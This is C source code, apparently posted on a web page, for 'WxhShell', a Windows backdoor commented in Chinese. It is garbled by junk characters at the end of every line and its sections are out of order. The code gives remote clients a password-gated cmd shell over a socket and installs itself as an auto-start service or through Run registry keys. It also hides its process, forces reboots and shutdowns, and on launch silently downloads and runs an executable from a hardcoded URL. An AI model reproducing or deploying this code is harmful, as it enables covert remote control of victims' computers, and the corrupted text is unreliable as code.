    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h*[sV  
    else { W89J]#v)k  
    closesocket(wsh); ocp3JR_0  
    ExitThread(0); |@>Zc5MY$  
    } MhFj>t   
    break; \gZjq]3  
    } $U_1e'  
  // 获取shell H:1F=$0I9  
  case 's': { 7BA9zs392  
    CmdShell(wsh); h7]>b'H  
    closesocket(wsh); 5FNf)F   
    ExitThread(0); k|_ >I  
    break;  mxvV~X %  
  } a5g1.6hF  
  // 退出 sD XJXJZ  
  case 'x': { ?0E-Lac=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "0"8Rp&V|  
    CloseIt(wsh); = U~\iJ  
    break; Ce3  
    } uUG&At  
  // 离开 V SH64  
  case 'q': { CBx5:}t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); | -AR)Smt  
    closesocket(wsh); c*> SZ'T\  
    WSACleanup(); +qF,XJ2  
    exit(1); 9VTE?,  
    break; 3o__tU)B  
        } 8\Z/mU*4  
  } O~#OVFJ9=  
  } 5Ul=Nv]  
9c@\-Z'  
  // 提示信息 j7&0ckN&G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b(g?X ( &  
} OEN'c0;5  
  } Zf`dd T  
j~9,Ct  
  return; +@oo8io  
} x(88Y7o.t  
2! bE|  
// shell模块句柄 ?K?v64[  
int CmdShell(SOCKET sock) flfE~_  
{ QW%BKF!  
STARTUPINFO si; [@t 6,g  
ZeroMemory(&si,sizeof(si)); &4l >_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9=^4p=1J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .l&<-l;UQ  
PROCESS_INFORMATION ProcessInfo; </d&bS  
char cmdline[]="cmd"; Rh#TR"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EabZ7zFoN  
  return 0; aib)ItNb  
} OK9D4 7X  
Os7 3u#!'  
// 自身启动模式 Mj@ 0F 2hy  
int StartFromService(void) 6JL:p{RLi  
{ v:] AS:  
typedef struct K_~SJbl  
{ [R[Suf  
  DWORD ExitStatus; 1G+ ?/w  
  DWORD PebBaseAddress; GwVSRI:[N  
  DWORD AffinityMask; AfW9;{j&I  
  DWORD BasePriority; ?_c*(2i&^  
  ULONG UniqueProcessId; bQM_rqjJGw  
  ULONG InheritedFromUniqueProcessId; | [lM2  
}   PROCESS_BASIC_INFORMATION; ddD $ 4+  
R'r^v  
PROCNTQSIP NtQueryInformationProcess; lFL iW  
gobqS+c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z66@@?`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wKAc ;!  
(Sg52zv  
  HANDLE             hProcess; ^E8eW  
  PROCESS_BASIC_INFORMATION pbi; ~\m|pxcj  
nMHs5'_y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $.@)4Nu!_  
  if(NULL == hInst ) return 0; jlZW!$Iq  
Ot} E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sj@'C@oK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V<!E9/4rS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /\9X0a2h|E  
l;g8_uyjv7  
  if (!NtQueryInformationProcess) return 0; aTy&"  
f&ym'S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !>+Na~eN  
  if(!hProcess) return 0; V+l>wMeo  
Et+N4w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .ZrQ{~t  
^dR5fAS  
  CloseHandle(hProcess); z_J"Qk  
d98ZC+q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }A"%YDrNbG  
if(hProcess==NULL) return 0; LJMw-#61sj  
s],+]<qX  
HMODULE hMod; k w!1]N  
char procName[255]; 0:(@Y  
unsigned long cbNeeded; ukSi9| 1-,  
8W"~>7/>D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rX#} 2  
5sq#bvfJ o  
  CloseHandle(hProcess); f13%[RA9N  
d(L u|/~  
if(strstr(procName,"services")) return 1; // 以服务启动 * 5#Y [c  
ZIx,?E+eJ  
  return 0; // 注册表启动 l~M86 h  
} vxo iPqo  
/*lSpsBn  
// 主模块 &6E^<v?]  
int StartWxhshell(LPSTR lpCmdLine) Gu:aSb  
{ "rr,P0lgX  
  SOCKET wsl; |!)3[<.  
BOOL val=TRUE; g9;}?h  
  int port=0; }_L@CpG  
  struct sockaddr_in door; v:<UbuJw  
KPUc+`cN%  
  if(wscfg.ws_autoins) Install(); |T9p#) ec2  
(6G5UwSt  
port=atoi(lpCmdLine); RCq_FY  
KutR l$,  
if(port<=0) port=wscfg.ws_port; dOe|uQXyD  
ts Zr n  
  WSADATA data; $IQ  !g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mYN|)QVKy  
Cj}1 )qWq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ![iAALPNl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #]|9aVrr  
  door.sin_family = AF_INET; ge[+/$(1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LRv-q{jP;  
  door.sin_port = htons(port); XH0R:+s  
?/~7\ '|Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xU^Flw,4  
closesocket(wsl); uM0 z%z5b  
return 1; cv0}_<Tyx  
} g/4.^c  
K{HRjNda#  
  if(listen(wsl,2) == INVALID_SOCKET) { d7u"Z5t  
closesocket(wsl); h?DMrYk_%#  
return 1; )=X8kuB~  
} 1k\1U  
  Wxhshell(wsl); 3M(:}c  
  WSACleanup(); |_%|  
atFj Vk^  
return 0; #:3E.=  
:D?%!Q 0  
} N.u)Mbe   
pWB)N7x&  
// 以NT服务方式启动 y^:g"|q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >'8.>f  
{ 1DGVAIcD  
DWORD   status = 0; ~/h P6*  
  DWORD   specificError = 0xfffffff; Ni GK| Z   
1z$;>+g<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >0SF79-RE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w'.ny<Pe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vl?R?K=`~J  
  serviceStatus.dwWin32ExitCode     = 0; WFg'G>*  
  serviceStatus.dwServiceSpecificExitCode = 0; q'M-a tE.  
  serviceStatus.dwCheckPoint       = 0; oHbEHS61  
  serviceStatus.dwWaitHint       = 0; ' d1E~A  
,l` q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sz"J-3b^  
  if (hServiceStatusHandle==0) return; gNzQ"W=  
nKh._bvfX  
status = GetLastError(); kkFE9:[-c&  
  if (status!=NO_ERROR) h&5H`CR[  
{ JMOQDo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *#frbV?;  
    serviceStatus.dwCheckPoint       = 0; `qSNS->  
    serviceStatus.dwWaitHint       = 0; U^~K-!0  
    serviceStatus.dwWin32ExitCode     = status; H4 & d,8:m  
    serviceStatus.dwServiceSpecificExitCode = specificError; >u~ [{(d ,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >&aFSL,f  
    return; rGRxofi.  
  } v)+wr[Qs  
Jnm{i|6N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f 7et  
  serviceStatus.dwCheckPoint       = 0; 7^Jszd:c08  
  serviceStatus.dwWaitHint       = 0; ^Y ~ ,s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MlsF?"H p  
} 9 YU7R)  
7 4aap2^  
// 处理NT服务事件,比如:启动、停止 $[[6N0}*:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) or ~o'  
{ OgS6#X  
switch(fdwControl) qw0tw2|  
{ z(>{"t<C  
case SERVICE_CONTROL_STOP: #v')iR"  
  serviceStatus.dwWin32ExitCode = 0; X c,UR .  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Q4w<sX'  
  serviceStatus.dwCheckPoint   = 0; ||}|=Sz  
  serviceStatus.dwWaitHint     = 0; <Ky\ ^  
  { s+tS4E?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I1&Z@[  
  } <k5FlvE2  
  return; $ZXy&?4  
case SERVICE_CONTROL_PAUSE: r[ ' T.yo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0d:t$2~C  
  break; N*lq)@smq  
case SERVICE_CONTROL_CONTINUE: #2I[F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fkz+Qz  
  break; R',|Jf=`  
case SERVICE_CONTROL_INTERROGATE: vP3Fb;  
  break; <=cj)  
}; 3>0/WbA:7E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xe*@`&nv@  
} H[<"DP  
L1Fn;nR  
// 标准应用程序主函数 q!""pr<n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^Cyx "s't  
{ x7l)i!/$  
2#*Bw=  
// 获取操作系统版本 g84~d(\?  
OsIsNt=GetOsVer(); 0[T!}F^%e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FD#?pVyPn^  
?Hf^& yo  
  // 从命令行安装 c"H4/,F  
  if(strpbrk(lpCmdLine,"iI")) Install(); A! <R?  
&EXql']  
  // 下载执行文件 WaN0$66[:  
if(wscfg.ws_downexe) { d<V+;">2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "a5?cX;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 23pHB |X  
} 1b;Aru~l  
e1}h|HL j  
if(!OsIsNt) { 0UWLs_k:  
// 如果时win9x,隐藏进程并且设置为注册表启动 W}WGg|ug  
HideProc(); )+oDa{dZ  
StartWxhshell(lpCmdLine); !;'U5[}8  
} EZIMp8^  
else jLD=EJ  
  if(StartFromService()) d~S.PRg=  
  // 以服务方式启动 y= cBpC  
  StartServiceCtrlDispatcher(DispatchTable); [_L:.,]g8  
else ?_m;~>C  
  // 普通方式启动 %I(N  
  StartWxhshell(lpCmdLine); =^q:h<  
O<iE,PN)  
return 0; KTBsH;6  
} [ #A!B#`  
6N~~:Gt  
YANg2L>MK  
x nWapG  
=========================================== M)I&^mm39  
\KLWOj%  
kd|@.  
xlgN}M  
&{x5 |$SD  
H]UM2.  
" x~j%  
\P}~ICZA  
#include <stdio.h> 9j:?s;B  
#include <string.h> He)v:AH  
#include <windows.h> H`),PY2  
#include <winsock2.h> O#Xq0o  
#include <winsvc.h> I#Iu:,OT  
#include <urlmon.h> 7,j}]  
1reJ7b0  
#pragma comment (lib, "Ws2_32.lib") G:c)e ,pD  
#pragma comment (lib, "urlmon.lib") *@cXBav/<  
b&HA_G4  
#define MAX_USER   100 // 最大客户端连接数 !ygh`]6V  
#define BUF_SOCK   200 // sock buffer ;|soc:aH  
#define KEY_BUFF   255 // 输入 buffer o8 q@rwu3  
:~ zK0v"  
#define REBOOT     0   // 重启 9i yNR!  
#define SHUTDOWN   1   // 关机 d@7 ]=P:  
WkXa%OZ  
#define DEF_PORT   5000 // 监听端口 2P!Pbl<  
s7(mNpo  
#define REG_LEN     16   // 注册表键长度 R\A5f\L9  
#define SVC_LEN     80   // NT服务名长度 iW-w?!>|m  
2[r#y1ro  
// 从dll定义API k U*\Fa*E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d=xU f`^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O6Xu/X]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4}W*,&_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #&1mc_`/  
,D+pGxbr   
// wxhshell配置信息 g>/,},jv[x  
struct WSCFG { /XS}<!)%  
  int ws_port;         // 监听端口 P3on4c  
  char ws_passstr[REG_LEN]; // 口令 'r(}7>~fC  
  int ws_autoins;       // 安装标记, 1=yes 0=no QC \8Zy  
  char ws_regname[REG_LEN]; // 注册表键名 dL |D  
  char ws_svcname[REG_LEN]; // 服务名 1 c3gHc7{t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K>lA6i7?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %^2LTK(P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^7Z)/c`"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jU@qQ@|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $ze%! C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -PB m@}*  
80![aj}z4G  
}; -% 5*c61  
(pREo/T  
// default Wxhshell configuration < :<E~anH  
struct WSCFG wscfg={DEF_PORT, 9Fv1D  
    "xuhuanlingzhe", XBF#ILJ  
    1, owmV7E1  
    "Wxhshell", |@sUN:G4k  
    "Wxhshell", CS:j->  
            "WxhShell Service", k9 .@S  
    "Wrsky Windows CmdShell Service", vCFMO3  
    "Please Input Your Password: ", ^UEI`_HO0  
  1, t}c ymX~  
  "http://www.wrsky.com/wxhshell.exe", {tOu+zy  
  "Wxhshell.exe" (6^v`SZ  
    }; Al5E  
rs]%`"&=  
// 消息定义模块 eL0U5>#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ht (RX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *_!nil3(i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pTprU)sa7  
char *msg_ws_ext="\n\rExit."; aiF7\^aw$  
char *msg_ws_end="\n\rQuit."; -ce N}Cb3  
char *msg_ws_boot="\n\rReboot..."; r0+lH:G*q  
char *msg_ws_poff="\n\rShutdown..."; g`d5OHvO o  
char *msg_ws_down="\n\rSave to "; ; "ux{ .  
=;l .<{<VH  
char *msg_ws_err="\n\rErr!"; K``MS  
char *msg_ws_ok="\n\rOK!"; #OqQD6  
plh.-"   
char ExeFile[MAX_PATH]; I ^?TabL  
int nUser = 0; Q0#oR [(  
HANDLE handles[MAX_USER]; Rf^$?D&^  
int OsIsNt; |j^^ *z@  
~-.}]N+([  
SERVICE_STATUS       serviceStatus; $.a<b^.Xi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o:.={)rX  
5@ %$M$E  
// 函数声明 MT [V1I{LV  
int Install(void); sG=D(n1  
int Uninstall(void); ?w#V<3=  
int DownloadFile(char *sURL, SOCKET wsh); ^vn8s~#  
int Boot(int flag); yS[:C 2v  
void HideProc(void); 6y)TXp  
int GetOsVer(void); 47|Lk]+O  
int Wxhshell(SOCKET wsl); n;@PaE^8=  
void TalkWithClient(void *cs); s )POtJ<  
int CmdShell(SOCKET sock); + 0{m(%i  
int StartFromService(void); Qj.]I0d  
int StartWxhshell(LPSTR lpCmdLine); MRR5j;4GK  
$]2srRA^A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jV2L;APCq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6}6;%{p"Gu  
Oh3AbpTT  
// 数据结构和表定义 UOJx-o!c?  
SERVICE_TABLE_ENTRY DispatchTable[] = B8F.}M-!  
{ |L}zB,  
{wscfg.ws_svcname, NTServiceMain}, [<\k  
{NULL, NULL}  0w>V![  
}; `O?Kftv*  
V7U&8UPb  
// 自我安装 eee77.@y-p  
int Install(void) cY8X A6  
{ |`+kZ-M*  
  char svExeFile[MAX_PATH]; A'vQtlvKA  
  HKEY key; VgD z:j  
  strcpy(svExeFile,ExeFile); ,m;S-Im_Xr  
IFcxyp  
// 如果是win9x系统,修改注册表设为自启动 8n+&tBq1  
if(!OsIsNt) { L.ScC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]VtVw^ir  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mk(O..)2  
  RegCloseKey(key); Y~gDS^8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d[E~}Dq3#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Qyuy~-&^  
  RegCloseKey(key); ~P8 6=Vw  
  return 0; ^,*ED Yz  
    } >L\$  
  } ,V1/(|[h  
} _0N=~`'  
else { \X.CYkgK  
a\;1%2a  
// 如果是NT以上系统,安装为系统服务 W; yNg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "O{j}QwY  
if (schSCManager!=0) rH*1bDL  
{ =lT~  
  SC_HANDLE schService = CreateService ,cZhkXd  
  ( l/1u>'  
  schSCManager,  ?QxI2J  
  wscfg.ws_svcname, _&V%idz!0  
  wscfg.ws_svcdisp,  ;wo  
  SERVICE_ALL_ACCESS, POvxZU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8=QOp[w   
  SERVICE_AUTO_START, c%y(Z5  
  SERVICE_ERROR_NORMAL, vT/e&8w  
  svExeFile, 2-!OflkoM0  
  NULL, \d"JYym  
  NULL, h1}U#XV  
  NULL, b3R1L|@  
  NULL, 0U|t@&q  
  NULL CD]hi,B_J  
  ); o>WB,i^G  
  if (schService!=0) <Qg).n>;z  
  { 8(-V pU  
  CloseServiceHandle(schService); 4/KGrY! ck  
  CloseServiceHandle(schSCManager); 4<V%7z_.B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3y^PKIIrt  
  strcat(svExeFile,wscfg.ws_svcname); loRT+u$&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H<_BnT #  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dbn9t7'{  
  RegCloseKey(key); L\0;)eJ#M  
  return 0; LLyw9y1  
    } %+ln_lgD:  
  } ot\  FZ  
  CloseServiceHandle(schSCManager); ;f;A"  
} q4u,pm,@  
} m=Mb'<  
(V&5EO8)  
return 1; o>|&k]W/  
} e"}JHXs  
ba5,?FVI~  
// 自我卸载 AWaptw_p*  
int Uninstall(void) /{1sU}k-  
{ y yPQ^{zD  
  HKEY key; A]0A,A0  
&10l80vj  
if(!OsIsNt) { M3XG s|gw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?^Gi;d5  
  RegDeleteValue(key,wscfg.ws_regname); ,+w9_Gy2H  
  RegCloseKey(key); -e_91W I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Bfo"["0.  
  RegDeleteValue(key,wscfg.ws_regname); cp1-eR_&  
  RegCloseKey(key); /80H.|8O  
  return 0; ]MD,{T9l\>  
  } @!p bR(8  
} Ibf~gr(j  
} 1O#]qZS}]  
else { 7gWT[  
mJxr"cwHl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (vX) <Z !  
if (schSCManager!=0) Zv]'9,cbk  
{ M)x6m|.=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0Q7teXRM  
  if (schService!=0) ( p(/  
  { v~8Cp C  
  if(DeleteService(schService)!=0) { 8F>u6Y[P  
  CloseServiceHandle(schService); (Q5rOrA"  
  CloseServiceHandle(schSCManager); R*[X. H  
  return 0; 9Lus,l\  
  } [T |P|\M  
  CloseServiceHandle(schService); N5PW]  
  } -L-#-dK'  
  CloseServiceHandle(schSCManager); Ky0}phGRu  
} 2xLEB&  
} ^VC /tJ  
# &,W x  
return 1; 1NAGGr00  
} 7xF)\um  
18^#:=Z  
// 从指定url下载文件 l4s*+H$vd?  
int DownloadFile(char *sURL, SOCKET wsh) jKh:}yl4  
{ r` B(ucE  
  HRESULT hr; D`|8Og  
char seps[]= "/"; $e~MKLd  
char *token; }SfS\b{|~  
char *file; noNJ+0S  
char myURL[MAX_PATH]; M)F_$ ICE-  
char myFILE[MAX_PATH]; -F. c<@*E  
J&2 J6Eq  
strcpy(myURL,sURL);  \gsJ1@  
  token=strtok(myURL,seps); bO i-QD  
  while(token!=NULL) 6i+<0b}!/  
  { a}e GB +  
    file=token; F50l->F2&  
  token=strtok(NULL,seps); vp32}ze D  
  } (ZPl~ZO  
6"Ze%:AZZ  
GetCurrentDirectory(MAX_PATH,myFILE); _<E.?K$gbU  
strcat(myFILE, "\\"); T_)g/,5>  
strcat(myFILE, file); /Nc)bF%gX  
  send(wsh,myFILE,strlen(myFILE),0); h;+{0a  
send(wsh,"...",3,0); iQJa6QF&:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U{\9mt7b!  
  if(hr==S_OK) )/t&a$[  
return 0; (*M*muk  
else l k sNy  
return 1; lfAiW;giJ  
TU6(Q,Yi|  
} $`A{-0=x\U  
eRqPZb"6MR  
// 系统电源模块 ^w!1QH0:/  
int Boot(int flag) )3 I~6ar  
{ O#<F"e;$  
  HANDLE hToken; A`--*$8\  
  TOKEN_PRIVILEGES tkp; +CVB[r#hu  
Dm@h'*  
  if(OsIsNt) { Z0/$XS9|h;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |KR8=-!7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lak,lDt]  
    tkp.PrivilegeCount = 1; ~.tl7wKkR/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \.aKxj5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4tEAi4H|`@  
if(flag==REBOOT) { csd9[=HW/Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eZ oAy[  
  return 0; fikDpR  
} 85f:!p  
else { LOgFi%!6:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d5>EvK U  
  return 0; naro  
} }S$OE))u  
  } YV8PybThc  
  else { 7K HQ0  
if(flag==REBOOT) { \@Gcx}Y8h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~,_@|,)  
  return 0; !|W.YbS  
} eslvg#Q  
else {  _!_^B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'yosDT2{#  
  return 0; 4ClSl#X#i  
} C2aA])7 D  
} nQOzKw<j%  
TI}a$I*  
return 1; dVPY07P  
} : ?}mu1  
,(RpBTV  
// win9x进程隐藏模块 (wFoI}s  
void HideProc(void) 27+~!R~Yw  
{  ZC%;5O`  
o!ZG@k?#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]H aX.Z<  
  if ( hKernel != NULL ) A/"<o5(T(P  
  { Y_}_)nE@m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J )^F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9[`c"Pd  
    FreeLibrary(hKernel); Lu~E5 ,  
  } d-C%R9  
;[79Ewd#$  
return; joDqv,iW8  
} `M*jrkM]x  
op@=0d??  
// 获取操作系统版本 yM}3u4FG  
int GetOsVer(void) KYZ#.f@  
{ @tJ4^<`P{  
  OSVERSIONINFO winfo; _R(9O?;q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,J '_Vi  
  GetVersionEx(&winfo); .hM t:BMf*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t-5K dLB  
  return 1; Go!{@ xx>  
  else W':b6}?  
  return 0; ,>01Cs=t8  
} x#5vdBf  
%-]a[qf3  
// 客户端句柄模块 +?W4ac1  
int Wxhshell(SOCKET wsl) +0 }_X  
{ [!>9K}z,=  
  SOCKET wsh; f~*7hv\  
  struct sockaddr_in client; `dD_"Hdt  
  DWORD myID; '=O1n H<  
8{]nS8i  
  while(nUser<MAX_USER) @ze2'56F}  
{ 7x=4P|(\}  
  int nSize=sizeof(client); @)x*62r+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,a?oGi  
  if(wsh==INVALID_SOCKET) return 1; 3;FV^V'  
5]GgjQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Bl^TT  
if(handles[nUser]==0) BsA'r+ho?H  
  closesocket(wsh); i6A9|G$H  
else AN6Q~%,  
  nUser++; z@ J>A![m  
  } kt0xR)gU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #s81 k@#X  
ML MetRP  
  return 0; qo$ls\[X  
} yoJ.[M4q  
`|Hk+V  
// 关闭 socket hkyO_ns  
void CloseIt(SOCKET wsh) 9J~\.:jH-  
{  }JWkV1  
closesocket(wsh); )#8g<]q  
nUser--; g~b$WV%  
ExitThread(0); @ZjO#%Ep/  
} Z:<an+v|5  
-)B_o#2=2  
// 客户端请求句柄 gwsIzYV  
void TalkWithClient(void *cs) PqL. ^  
{ jVLJ qWP'!  
_G-y{D_S&  
  SOCKET wsh=(SOCKET)cs; Rj H68=n  
  char pwd[SVC_LEN]; dWQB1Y*N  
  char cmd[KEY_BUFF]; !V(r p80  
char chr[1]; s*_fRf:  
int i,j; _~MX~M3MB  
wPm  
  while (nUser < MAX_USER) { |`Noj+T47I  
\'<P~I&p  
if(wscfg.ws_passstr) { t$~'$kM)<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /:Gy .  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'e' p`*  
  //ZeroMemory(pwd,KEY_BUFF); jDqG9]  
      i=0; 8!cHRtqK  
  while(i<SVC_LEN) { '<YBoU{ e*  
;x 2o|#`b  
  // 设置超时 oGB|k]6]|  
  fd_set FdRead; {l5fKVb\C  
  struct timeval TimeOut; <xF]ca  
  FD_ZERO(&FdRead); },#7  
  FD_SET(wsh,&FdRead); Y)]C.V,~  
  TimeOut.tv_sec=8; rX /'  
  TimeOut.tv_usec=0; +&S6se4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n}[S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;1PJS_@rX  
j)Ak:l%a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4bp})>}jB  
  pwd=chr[0]; !H)-  
  if(chr[0]==0xd || chr[0]==0xa) { rm9>gKN;#  
  pwd=0; )qw;KG0F  
  break; })P!7t  
  } )gSqO{Z  
  i++; !`RMXUV  
    } V" 8 G-dK  
nDX Em6|e  
  // 如果是非法用户,关闭 socket 9]w?mHslE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NU?<bIQ  
} p%&$%yz$  
TEY~E*=}$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hm d3W`8D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (AtyM?*  
M-@X&b m,S  
while(1) { kyvl>I0q@  
|%F,n2  
  ZeroMemory(cmd,KEY_BUFF); ] uyp i#[  
(DY[OIHI  
      // 自动支持客户端 telnet标准   H\a"=&M  
  j=0; ;5.&TQT  
  while(j<KEY_BUFF) { xlJWCA*>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bKGX> %-  
  cmd[j]=chr[0]; H!Q72tyo  
  if(chr[0]==0xa || chr[0]==0xd) { prN+{N8YC  
  cmd[j]=0; Ikf[K%NKn  
  break; % g  
  } x51R:x(p  
  j++; oPr`SYB  
    } t1o 6;r K  
j|wN7@Zc  
  // 下载文件 [8IO0lul+  
  if(strstr(cmd,"http://")) { wB[f%mHs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c+e?xXCEAz  
  if(DownloadFile(cmd,wsh)) <>9!oOa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1u7D:h>#  
  else `MuX/ [q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 65qqs|&w;[  
  } gee~>l  
  else { QCb%d'_w+  
uf#h~;B  
    switch(cmd[0]) { )]FXUz|;  
  &`v?oN9$  
  // 帮助 UAhWJ$(C  
  case '?': { kl.;E{PL  
